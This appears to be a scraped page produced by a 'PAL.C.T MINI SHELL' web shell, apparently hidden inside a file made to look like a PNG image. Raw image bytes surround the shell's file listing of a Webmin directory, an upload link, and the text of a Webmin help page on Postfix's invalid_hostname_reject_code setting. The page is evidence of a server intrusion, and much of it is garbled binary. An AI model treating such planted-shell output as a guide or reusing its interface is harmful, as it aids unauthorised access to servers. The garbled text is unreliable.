php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/postfix/help/
upload
files >> //proc/self/root/usr/libexec/webmin/postfix/help/opt_invalid_hostname_reject_code.html

<header>SMTP server response on hostname reject</header>

<center><tt>invalid_hostname_reject_code</tt></center>
<hr>

This parameter specifies the SMTP server response code when a client violates the
<tt>reject_invalid_hostname</tt> anti-UCE restriction rule that is:<br>
<i>Bad syntax for client HELO hostname (Not RFC compliant)</i><br>
<br>
Note that the postfix default value used for <tt>invalid_hostname_reject_code</tt> is
code 501, and this code in 'standard RFC 822' should means 'Syntax error in parameters
or arguments'.
So with Postfix, a 501 status code does not reflect exactly the RFC822 explanation.<br>
<p>
To avoid confusion, you can change this to 574 for example (another reason is that code 501
is also the postfix default value for other kind of errors), otherwise, do not change
this unless you have a complete understanding of RFC 822.
</p>

<hr>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`